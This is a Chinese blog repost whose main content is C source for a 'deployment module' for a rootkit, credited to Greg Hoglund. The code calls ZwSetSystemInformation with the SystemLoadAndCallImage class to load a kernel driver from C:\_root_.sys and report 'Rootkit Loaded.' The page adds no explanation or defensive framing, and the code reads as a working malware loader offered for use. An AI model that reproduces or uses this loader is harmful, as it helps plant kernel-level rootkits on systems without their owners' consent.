博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
用ZwSetSystemInformation函数的SystemLoadAndCallImage调用驱动
阅读量:6794 次
发布时间:2019-06-26

本文共 1730 字,大约阅读时间需要 5 分钟。

// New Deployment Module for rootkit 040 // ------------------------------------- // -Greg Hoglund http://www.rootkit.com  #include 
#include
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; #ifdef MIDL_PASS [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; #else // MIDL_PASS PWSTR Buffer; #endif // MIDL_PASS } UNICODE_STRING, *PUNICODE_STRING; typedef unsigned long NTSTATUS; #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) NTSTATUS (__stdcall *ZwSetSystemInformation)( IN DWORD SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength ); VOID (__stdcall *RtlInitUnicodeString)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString ); typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE { UNICODE_STRING ModuleName; } SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE; #define SystemLoadAndCallImage 38 void main(void) { /// // Why mess with Drivers? /// SYSTEM_LOAD_AND_CALL_IMAGE GregsImage; WCHAR daPath[] = L"\\??\\C:\\_root_.sys"; // // get DLL entry points // if( !(RtlInitUnicodeString = (void *) GetProcAddress( GetModuleHandle("ntdll.dll"), "RtlInitUnicodeString" )) ) exit(1); if( !(ZwSetSystemInformation = (void *) GetProcAddress( GetModuleHandle("ntdll.dll"), "ZwSetSystemInformation" )) ) exit(1); RtlInitUnicodeString( &(GregsImage.ModuleName), daPath ); if NT_SUCCESS( ZwSetSystemInformation( SystemLoadAndCallImage, &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ) { printf("Rootkit Loaded.\n"); } else { printf("Rootkit not loaded.\n"); } }

转载于:https://www.cnblogs.com/fanzi2009/archive/2010/03/19/1689645.html

你可能感兴趣的文章
python+selenium 对于iframe的切入切出
查看>>
开源协议特点@02
查看>>
构建squid传统代理和透明代理
查看>>
linux文件管理命令
查看>>
day19 监听器&过滤器
查看>>
Linux命令nohup+screen
查看>>
心灵鸡汤若干,不喜勿入
查看>>
Git错误non-fast-forward后的冲突解决
查看>>
有了这几款办公软件,让你从此和加班说“拜拜”!
查看>>
千兆/万兆单向传输网卡
查看>>
磁盘存储和文件系统 概述
查看>>
AJPFX关于java 知识点的集合
查看>>
我的友情链接
查看>>
如何用一台cisco1921-K9解决目前国内常见访问全网需求和流量区分策略?
查看>>
Java 日期格式和String 转换
查看>>
mysql聚合函数,运算操作
查看>>
SqlServer系列笔记——简单查询
查看>>
Eucalyptus云之面纱
查看>>
Lucene之一(Lucene的概念一)
查看>>
ELKStack - 基础:部署安装+简单使用篇 (一)
查看>>